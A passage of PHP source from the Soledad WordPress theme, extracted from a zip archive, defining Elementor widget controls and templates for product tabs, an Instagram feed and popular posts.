			]
		);

		$repeater->add_control(
			'title',
			[
				'label'   => esc_html__( 'Tabs title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'Tab title',
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'icon_tab',
			[
				'label' => esc_html__( 'Icon', 'soledad' ),
			]
		);

		$repeater->add_control(
			'image',
			[
				'label' => esc_html__( 'Choose image', 'soledad' ),
				'type'  => Controls_Manager::MEDIA,
			]
		);

		$repeater->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image',
				'default'   => 'thumbnail',
				'separator' => 'none',
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'tabs_items',
			[
				'type'        => Controls_Manager::REPEATER,
				'title_field' => '{{{ title }}}',
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'title' => 'Tab title 1',
					],
					[
						'title' => 'Tab title 2',
					],
					[
						'title' => 'Tab title 3',
					],
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Style tab.
		 */
		/**
		 * Heading settings.
		 */
		$this->start_controls_section(
			'heading_style_section',
			[
				'label' => esc_html__( 'Heading', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'design',
			[
				'label'   => esc_html__( 'Design', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'default' => esc_html__( 'Style 1', 'soledad' ),
					'simple'  => esc_html__( 'Style 2', 'soledad' ),
					'alt'     => esc_html__( 'Style 3', 'soledad' ),
				],
				'default' => 'default',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'tab_title_typo',
				'label'    => __( 'Tab Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-products-tabs .tabs-name > span',
			)
		);

		$this->add_control(
			'tab_title_color',
			[
				'label'     => esc_html__( 'Tabs Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs .tabs-name > span' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tab_title_boder_color',
			[
				'label'     => esc_html__( 'Tabs Title Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs.tabs-design-simple .tabs-name' => 'border-color: {{VALUE}}',
				],
				'condition' => [
					'design' => [ 'simple' ],
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'tab_label_typo',
				'label'    => __( 'Label Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-products-tabs .products-tabs-title .tab-label',
			)
		);

		$this->add_control(
			'tab_label_color',
			[
				'label'     => esc_html__( 'Tabs Label Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs .products-tabs-title .tab-label, {{WRAPPER}} .penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tab_label_hover_color',
			[
				'label'     => esc_html__( 'Tabs Label Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs .products-tabs-title .tab-label:hover, {{WRAPPER}} .penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label:hover' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tab_label_hover_border_color',
			[
				'label'     => esc_html__( 'Tabs Label Hover Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs .products-tabs-title .tab-label:hover:after, {{WRAPPER}} .penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label:hover:after' => 'background-color: {{VALUE}}',
				],
				'condition' => [
					'design' => [ 'default', 'alt' ],
				],
			]
		);

		$this->add_control(
			'tab_label_active_color',
			[
				'label'     => esc_html__( 'Tabs Label Active Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs .products-tabs-title .active-tab-title .tab-label, {{WRAPPER}} .penci-products-tabs.tabs-design-alt .products-tabs-title .active-tab-title .tab-label' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tab_label_active_border_color',
			[
				'label'     => esc_html__( 'Tabs Label Active Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .tabs-design-default .products-tabs-title .tab-label:after, {{WRAPPER}} .penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label:after' => 'background-color: {{VALUE}}',
				],
				'condition' => [
					'design' => [ 'default', 'alt' ],
				],
			]
		);

		$this->add_control(
			'alignment',
			[
				'label'     => esc_html__( 'Align', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
				),
				'default'   => 'center',
				'condition' => [
					'design' => 'default',
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Products layout settings.
		 */
		$this->start_controls_section(
			'products_layout_style_section',
			[
				'label' => esc_html__( 'Products Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'layout',
			[
				'label'   => esc_html__( 'Layout', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'grid',
				'options' => array(
					'grid'     => esc_html__( 'Grid', 'soledad' ),
					'list'     => esc_html__( 'List', 'soledad' ),
					'carousel' => esc_html__( 'Carousel', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'product_horizontal_spacing',
			[
				'label'      => esc_html__( 'Horizontal space between items', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => '',
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 100,
						'step' => 1,
					],
				],
				'condition'  => [
					'layout' => [ 'grid', 'carousel' ],
				],
				'selectors'  => [
					'{{WRAPPER}} .product-layout-grid ul.products'            => 'margin-left: -{{SIZE}}{{UNIT}}!important;margin-right: -{{SIZE}}{{UNIT}}!important;',
					'{{WRAPPER}} .product-layout-grid ul.products li.product' => 'padding-left: {{SIZE}}{{UNIT}}!important;padding-right: {{SIZE}}{{UNIT}}!important;',
				],
			]
		);

		$this->add_responsive_control(
			'product_vertical_spacing',
			[
				'label'      => esc_html__( 'Vertical space between items', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => '',
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 100,
						'step' => 1,
					],
				],
				'condition'  => [
					'layout' => [ 'grid', 'list' ],
				],
				'selectors'  => [
					'{{WRAPPER}} .product-layout-grid ul.products li.product'                                                                                                                                                                           => 'margin-bottom: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .products.product-list .penci-soledad-product .penci-product-loop-inner-content'                                                                                                                                       => 'margin-bottom: {{SIZE}}{{UNIT}};padding-bottom: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,{{WRAPPER}} .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers' => 'margin-top: calc( -25px - {{SIZE}}px );',
				],
			]
		);

		$this->add_responsive_control(
			'columns',
			[
				'label'       => esc_html__( 'Columns', 'soledad' ),
				'description' => esc_html__( 'Number of columns in the grid.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [
					'size' => 4,
				],
				'size_units'  => '',
				'range'       => [
					'px' => [
						'min'  => 1,
						'max'  => 6,
						'step' => 1,
					],
				],
				'condition'   => [
					'layout' => 'grid',
				],
				'selectors'  => [
					'{{WRAPPER}} .product-layout-grid ul.products li.product'  => 'width: calc(100%/{{SIZE}});',
				],
			]
		);

		$this->add_control(
			'items_per_page',
			[
				'label'       => esc_html__( 'Items per page', 'soledad' ),
				'description' => esc_html__( 'Number of items to show per page.', 'soledad' ),
				'default'     => 12,
				'type'        => Controls_Manager::NUMBER,
			]
		);

		$this->add_control(
			'pagination',
			[
				'label'     => esc_html__( 'Pagination', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''              => esc_html__( 'Inherit', 'soledad' ),
					'loadmore'      => esc_html__( 'Load more button', 'soledad' ),
					'infinit'       => esc_html__( 'Infinit scrolling', 'soledad' ),
					'links'         => esc_html__( 'Links', 'soledad' ),
					'next_previous' => esc_html__( 'Next/Previous', 'soledad' ),
					'none'          => esc_html__( 'Hidden', 'soledad' ),
				),
				'condition' => [
					'layout!' => 'carousel',
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Carousel settings.
		 */
		$this->start_controls_section(
			'carousel_style_section',
			[
				'label'     => esc_html__( 'Carousel Settings', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'layout' => 'carousel',
				],
			]
		);

		$this->add_responsive_control(
			'slides_per_view',
			[
				'label'       => esc_html__( 'Slides per view', 'soledad' ),
				'description' => esc_html__( 'Set numbers of slides you want to display at the same time on slider\'s container for carousel mode.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [
					'size' => 3,
				],
				'size_units'  => '',
				'range'       => [
					'px' => [
						'min'  => 1,
						'max'  => 8,
						'step' => 1,
					],
				],
			]
		);

		$this->add_control(
			'scroll_per_page',
			[
				'label'        => esc_html__( 'Scroll per page', 'soledad' ),
				'description'  => esc_html__( 'Scroll per page not per item. This affect next/prev buttons and mouse/touch dragging.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'false',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'true',
			]
		);

		$this->add_control(
			'hide_pagination_control',
			[
				'label'        => esc_html__( 'Hide pagination control', 'soledad' ),
				'description'  => esc_html__( 'If "YES" pagination control will be removed.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'true',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'false',
			]
		);

		$this->add_control(
			'hide_prev_next_buttons',
			[
				'label'        => esc_html__( 'Hide prev/next buttons', 'soledad' ),
				'description'  => esc_html__( 'If "YES" prev/next control will be removed', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'true',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'false',
			]
		);

		$this->add_control(
			'wrap',
			[
				'label'        => esc_html__( 'Slider loop', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'true',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'false',
			]
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'autoplay',
			[
				'label'        => esc_html__( 'Slider autoplay', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'false',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'true',
			]
		);

		$this->add_control(
			'speed',
			[
				'label'       => esc_html__( 'Slider speed', 'soledad' ),
				'description' => esc_html__( 'Duration of animation between slides (in ms)', 'soledad' ),
				'default'     => '5000',
				'type'        => Controls_Manager::NUMBER,
				'condition'   => [
					'autoplay' => 'yes',
				],
			]
		);

		$this->add_control(
			'scroll_carousel_init',
			[
				'label'        => esc_html__( 'Init carousel on scroll', 'soledad' ),
				'description'  => esc_html__( 'This option allows you to init carousel script only when visitor scroll the page to the slider. Useful for performance optimization.\'', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'true',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'false',
			]
		);

		$this->end_controls_section();

		/**
		 * Products design settings.
		 */
		$this->start_controls_section(
			'products_design_style_section',
			[
				'label' => esc_html__( 'Products Design', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'product_style',
			[
				'label'     => esc_html__( 'Products hover', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''         => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
					'standard' => 'Default',
					'style-1'  => 'Style 1',
					'style-2'  => 'Style 2',
					'style-3'  => 'Style 3',
					'style-4'  => 'Style 4',
					'style-5'  => 'Style 5',
					'style-6'  => 'Style 6',
					'style-7'  => 'Style 7',
				),
				'condition' => [
					'layout!' => 'list',
				],
			]
		);

		$this->add_control(
			'icon_style',
			[
				'label'   => esc_html__( 'Icon Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''      => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
					'round' => 'Separate Round',
					'group' => 'Group in Rectangle',
				),
			]
		);

		$this->add_control(
			'icon_position',
			[
				'label'   => esc_html__( 'Icon Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''              => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
					'top-left'      => 'Top left',
					'top-right'     => 'Top Right',
					'bottom-left'   => 'Bottom Left',
					'bottom-right'  => 'Bottom Right',
					'center-top'    => 'Center Top',
					'center-center' => 'Center Center',
					'center-bottom' => 'Center Bottom',
				),
			]
		);

		$this->add_control(
			'icon_animation',
			[
				'label'   => esc_html__( 'Icon Animation', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''            => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
					'move-left'   => 'Move to left',
					'move-right'  => 'Move to Right',
					'move-top'    => 'Move to Top',
					'move-bottom' => 'Move to Bottom',
					'fade'        => 'Fade In',
					'zoom'        => 'Zoom In',
				),
			]
		);

		$this->add_control(
			'img_size',
			[
				'label'   => esc_html__( 'Image size', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'woocommerce_thumbnail',
				'options' => $this->get_list_image_sizes( 'elementor' ),
			]
		);

		$this->add_control(
			'img_size_custom',
			[
				'label'       => esc_html__( 'Image dimension', 'soledad' ),
				'type'        => Controls_Manager::IMAGE_DIMENSIONS,
				'description' => esc_html__( 'You can crop the original image size to any custom size. You can also set a single value for height or width in order to keep the original size ratio.', 'soledad' ),
				'condition'   => [
					'img_size' => 'custom',
				],
			]
		);

		$this->add_control(
			'stock_progress_bar',
			[
				'label'        => esc_html__( 'Stock progress bar', 'soledad' ),
				'description'  => esc_html__( 'Display a number of sold and in stock products as a progress bar.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
			]
		);

		$this->add_control(
			'product_categories',
			[
				'label'        => esc_html__( 'Show Product Categories', 'soledad' ),
				'description'  => esc_html__( 'Display a product categories list under product title.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
			]
		);

		$this->add_control(
			'product_rating',
			[
				'label'        => esc_html__( 'Show Product Rating', 'soledad' ),
				'description'  => esc_html__( 'Display a product star rating under product title.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
			]
		);

		$this->add_control(
			'product_quantity',
			[
				'label'     => esc_html__( 'Quantity input on product', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''        => esc_html__( 'Inherit', 'soledad' ),
					'enable'  => esc_html__( 'Enable', 'soledad' ),
					'disable' => esc_html__( 'Disable', 'soledad' ),
				),
				'condition' => [
					'product_hover' => [ 'standard', 'quick' ],
				],
			]
		);

		$this->end_controls_section();

		$this->register_product_style();
	}

	/**
	 * Get attribute taxonomies
	 *
	 * @since 1.0.0
	 */
	public function get_product_attributes_array() {
		$attributes = [];

		foreach ( wc_get_attribute_taxonomies() as $attribute ) {
			$attributes[] = 'pa_' . $attribute->attribute_name;
		}

		return $attributes;
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		include dirname( __FILE__ ) . "/products_tabs_temple.php";
		penci_elementor_products_tabs_template( $this->get_settings_for_display() );
	}
}
PK     N\m264  4  I  inc/elementor/modules/penci-product-tabs/widgets/products_tabs_temple.phpnu [        <?php
/**
 * Products template function
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

if ( ! function_exists( 'penci_elementor_products_tabs_template' ) ) {
	function penci_elementor_products_tabs_template( $settings ) {
		$settings = wp_parse_args( $settings, penci_custom_product_query_default_args() );

		$image_output    = '';
		$wrapper_classes = '';
		$header_classes  = '';
		$title_classes   = '';

		// Header classes.
		$settings['alignment'] = $settings['alignment'] ? $settings['alignment'] : 'center';
		$header_classes        .= ' text-' . $settings['alignment'];

		// Wrapper classes.
		$wrapper_classes .= ' tabs-design-' . $settings['design'];

		// Tabs settings.
		$first_tab_title = '';

		if ( isset( $settings['tabs_items'][0]['title'] ) ) {
			$first_tab_title = $settings['tabs_items'][0]['title'];
		}

		$allow_html_tags = array(
			'br'     => array(),
			'i'      => array(),
			'b'      => array(),
			'u'      => array(),
			'em'     => array(),
			'del'    => array(),
			'a'      => array(
				'href'   => true,
				'class'  => true,
				'target' => true,
				'title'  => true,
				'rel'    => true,
			),
			'strong' => array(),
			'span'   => array(
				'style' => true,
				'class' => true,
			),
		);
		?>
        <div class="woocommerce penci-products-tabs <?php echo esc_attr( $wrapper_classes ); ?>">
            <div class="penci-tabs-header <?php echo esc_attr( $header_classes ); ?>">
				<?php if ( $settings['title'] ) : ?>
                    <h4 class="tabs-name title">
						<?php if ( $image_output ) : ?>
							<?php echo $image_output; // phpcs:ignore ?>
						<?php endif; ?>

                        <span class="tabs-text<?php echo esc_attr( $title_classes ); ?>"
                              data-elementor-setting-key="title">
							<?php echo wp_kses( $settings['title'], $allow_html_tags ); ?>
						</span>
                    </h4>
				<?php endif; ?>

                <div class="tabs-navigation-wrapper">
					<span class="open-title-menu">
						<?php echo wp_kses( $first_tab_title, $allow_html_tags ); ?>
					</span>

                    <ul class="products-tabs-title">
						<?php foreach ( $settings['tabs_items'] as $key => $item ) : ?>
							<?php
							$li_classes        = '';
							$icon_output       = '';
							$item['elementor'] = true;
							$encoded_settings  = wp_json_encode( array_intersect_key( array_merge( $settings, $item ), penci_custom_product_query_default_args() ) );

							if ( 0 === $key ) {
								$li_classes .= ' active-tab-title';
							}

							if ( isset( $item['image']['id'] ) && $item['image']['id'] ) {
								$icon_output = '<span class="img-wrapper">' . penci_get_image_html( $item, 'image' ) . '</span>';
							}

							$unique_title = md5( $item['title'] );
							?>

                            <li data-layout="<?php echo esc_attr( $settings['layout'] ); ?>"
                                data-queryid="<?php echo esc_attr( $unique_title ); ?>"
                                data-atts="<?php echo esc_attr( $encoded_settings ); ?>"
                                class="<?php echo esc_attr( $li_classes ); ?>">
								<?php if ( $icon_output ) : ?>
									<?php echo $icon_output; // phpcs:ignore ?>
								<?php endif; ?>

                                <span class="tab-label">
									<?php echo esc_html( $item['title'] ); ?>
								</span>
                            </li>
						<?php endforeach; ?>
                    </ul>
                </div>
            </div>

			<?php
			if ( isset( $settings['tabs_items'][0] ) ) :
				$settings['class'] = 'active';
				?>
                <div class="penci-tab-content-container">
                    <div class="penci-products-preloader">
                        <span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span
                                    class="bubble"></span></span>
                    </div>
					<?php penci_elementor_products_template( array_merge( $settings, $settings['tabs_items'][0] ) ); ?>
                </div>
			<?php endif; ?>
        </div>
		<?php
	}
}
PK     N\Q*G    0  inc/elementor/modules/penci-instagram/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciInstagram;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-instagram';
	}

	public function get_widgets() {
		return array( 'PenciInstagram' );
	}
}
PK     N\tL    A  inc/elementor/modules/penci-instagram/widgets/penci-instagram.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciInstagram\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciInstagram extends Base_Widget {

	public function get_name() {
		return 'penci-instagram';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Instagram Feed', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {
		

		// Section layout
		$this->start_controls_section(
			'section_instagram', array(
				'label' => esc_html__( 'Instagram Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'section_instagram_desc',
			[
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => '<span style="color: #ff0000;">Note Important: </span>Please connect to your Instagram accout on <a
                            href="' . esc_url( admin_url( 'admin.php?page=penci_instgram_token' ) ) . '"
                            target="_blank">this page</a> first.',
				'separator'       => 'after',
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			]
		);

		$this->add_control(
			'images_number', array(
				'label'       => __( 'Number of images to show', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 9,
				'separator'   => 'before',
				'description' => __( 'You can shows 12 latest images from a public Instagram user( maximum 12 )', 'soledad' ),
			)
		);
		$this->add_control(
			'refresh_hour', array(
				'label'       => __( 'Check for new images every', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 5,
				'description' => __( 'Unix is hour(s)', 'soledad' ),
			)
		);
		$this->add_control(
			'template', array(
				'label'   => __( 'Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'thumbs',
				'options' => array(
					'thumbs-no-border' => esc_html__( 'Thumbnails - Without Border', 'soledad' ),
					'thumbs'           => esc_html__( 'Thumbnails', 'soledad' ),
					'slider'           => esc_html__( 'Slider - Normal', 'soledad' ),
					'slider-overlay'   => esc_html__( 'Slider - Overlay Text', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'columns', array(
				'label'     => __( 'Number of Columns', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '3',
				'options'   => array(
					'1'  => '1',
					'2'  => '2',
					'3'  => '3',
					'4'  => '4',
					'5'  => '5',
					'6'  => '6',
					'7'  => '7',
					'8'  => '8',
					'9'  => '9',
					'10' => '10',
				),
				'condition' => array( 'template' => array( 'thumbs-no-border', 'thumbs' ) ),
			)
		);
		$this->add_control(
			'orderby', array(
				'label'   => __( 'Order by', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'rand',
				'options' => array(
					'date-ASC'     => __( 'Date - Ascending', 'soledad' ),
					'date-DESC'    => __( 'Date - Descending', 'soledad' ),
					'popular-ASC'  => __( 'Popularity - Ascending', 'soledad' ),
					'popular-DESC' => __( 'Popularity - Descending', 'soledad' ),
					'rand'         => __( 'Random', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'images_link', array(
				'label'   => __( 'On click action', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'image_url',
				'options' => array(
					''           => __( 'None', 'soledad' ),
					'image_url'  => __( 'Instagram image', 'soledad' ),
					'user_url'   => __( 'Instagram Profile', 'soledad' ),
					'attachment' => __( 'Attachment Page', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'description', array(
				'label'       => __( 'Slider Text Description', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SELECT2,
				'default'     => array( 'username', 'time', 'caption' ),
				'multiple'    => true,
				'options'     => array(
					'username' => __( 'Username', 'soledad' ),
					'time'     => __( 'Time', 'soledad' ),
					'caption'  => __( 'Caption', 'soledad' ),
				),
				'condition'   => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);
		$this->add_control(
			'slidespeed', array(
				'label'     => __( 'Slider Speed (at x seconds)', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 600,
				'condition' => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);

		$this->add_control(
			'controls', array(
				'label'   => __( 'Slider Navigation Controls', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'prev_next',
				'options' => array(
					'none'       => __( 'None', 'soledad' ),
					'prev_next'  => __( 'Prev & Next', 'soledad' ),
					'numberless' => __( 'Dotted', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'caption_words', array(
				'label'     => __( 'Number of words in caption', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 100,
				'condition' => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$instance_df = array(
			'title'            => '',
			'attachment'       => 0,
			'template'         => 'thumbs',
			'images_link'      => 'image_url',
			'custom_url'       => '',
			'orderby'          => 'rand',
			'images_number'    => 9,
			'columns'          => 3,
			'refresh_hour'     => 12,
			'image_size'       => 'jr_insta_square',
			'image_link_rel'   => '',
			'image_link_class' => '',
			'no_pin'           => 0,
			'controls'         => 'prev_next',
			'animation'        => 'slide',
			'caption_words'    => 100,
			'slidespeed'       => 7000,
			'description'      => array( 'username', 'time', 'caption' ),
		);

		$instance = shortcode_atts( $instance_df, $settings );

		$css_class = 'penci-block-vc penci_instagram_widget-sc penci_instagram_widget penci_insta-' . $instance['template'];
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
				<?php \Penci_Instagram_Feed::display_images( $instance ); ?>
            </div>
        </div>
		<?php
	}
}
PK     N\P"  "  4  inc/elementor/modules/penci-popular-posts/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPopularPosts;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-popular-posts';
	}

	public function get_widgets() {
		return array( 'PenciPopularPosts' );
	}
}
PK     N\&  &  I  inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciPopularPosts\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;


if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPopularPosts extends Base_Widget {

	public function get_name() {
		return 'penci-popular-posts';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Popular Posts', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'popular-posts' );
	}


	protected function register_controls() {


		$this->register_query_section_controls();
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'penci_columns', array(
				'label'   => __( 'Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '4',
				'options' => array(
					'4' => __( '4 Columns', 'soledad' ),
					'3' => __( '3 Columns', 'soledad' )
				)
			)
		);
		$this->add_control(
			'_title_length', array(
